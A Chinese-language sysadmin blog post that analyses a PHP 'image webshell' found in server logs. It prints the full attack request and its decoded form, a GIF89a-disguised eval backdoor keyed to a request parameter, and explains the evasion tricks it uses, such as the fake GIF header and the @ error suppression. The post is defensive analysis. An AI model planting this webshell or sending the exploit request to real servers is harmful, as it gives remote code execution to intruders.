运维笔记:今天看见的一只图片马

这只马是在围观大佬的时候发现的。

今天我又照常巡检服务器日志,有个webshell的payload我从3月底就隔三差五见到。这次我拿它的请求IP到威胁情报社区一查,发现它专门以挂马为生,劣迹斑斑。这时我看见了社区权重为superb的whitehat大佬。大佬一般是用工具自动上报,可在这里,大佬连写五条挂马记录,手写痕迹很明显。在大佬怒气冲冲的记录中,我注意到,和我这个小破站上十年如一日的payload比,大佬站点上的payload显得更加诡计多端。这不,就发现了一只图片马。

一、初看平平无奇,再看诡计多端

说实话,看第一眼的时候,我完全没想到是个图片马。但我对所有经过编码的东西都充满好奇心,于是顺手把payload里的base64编码丢去解码了:

// 原始payload
s=file_put_contents('bxs.php',base64_decode('R2lmODlhPD9waHAgY2xhc3MgR1lVSjlnN2wgeyBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJEg3elgzKXsgQGV2YWwoIi8qWjdDYzR1cldWOSovIi4kSDd6WDMuIi8qWjdDYzR1cldWOSovIik7IH19bmV3IEdZVUo5ZzdsKCRfUkVRVUVTVFsnNGs0ZDY2NiddKTs%2FPg%3D%3D'))&_method=__construct&method=POST&filter[]=assert

// 经过base64解码
Gif89a<?php
class GYUJ9g7l {
    public function __construct($H7zX3) {
        @eval("/*Z7Cc4urWV9*/" . $H7zX3 . "/*Z7Cc4urWV9*/");
    }
}
new GYUJ9g7l($_REQUEST['4k4d666']);
?>

咦?解码后代码开头怎么多出了GIF幻数Gif89a?

快速看一遍逻辑,先是定义了一个名为GYUJ9g7l的类,并在类中定义了一个构造方法 __construct。构造方法接受参数$H7zX3,并将参数和两段注释拼接,再通过@eval执行参数。调用的时候,先实例化类GYUJ9g7l,将超全局变量$_REQUEST[‘4k4d666’]作为参数传给构造方法。

当然这里也可以不用构造方法,而是写一个普通的函数(假设函数名为a),调用上多一步(构造方法在实例化对象时自动调用,无需显式调用):

$instance = new GYUJ9g7l();
$instance->a($_REQUEST['4k4d666']);

二、这次是伪装大师:绕过策略分析

我前段时间也写过一篇webshell的分析,那次的payload主要涉及混淆和抹除痕迹。这次的payload花样更多一点,策略也大有不同。

1、伪装,而不是清除

上次的payload也是通过file_put_contents将恶意代码写入一个不存在的文件,执行完后,就unlink(__FILE__)删掉了,神不知鬼不觉。

这次的payload,用GIF文件头Gif89a将自己伪装成GIF文件,避免被检出。

2、用@运算符抑制错误信息

@是PHP里的错误控制运算符,放在表达式前,该表达式产生的所有错误都会被完全抑制。这里因为eval所接收的参数是动态传入的($_REQUEST包括了$_GET、$_POST和$_COOKIE的数组,一般用来接收用户提交的表单数据),所以执行的时候可能会报错。加上@后,错误不仅不显示,也不会被记录到错误日志里。来去了无痕。

发布者

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注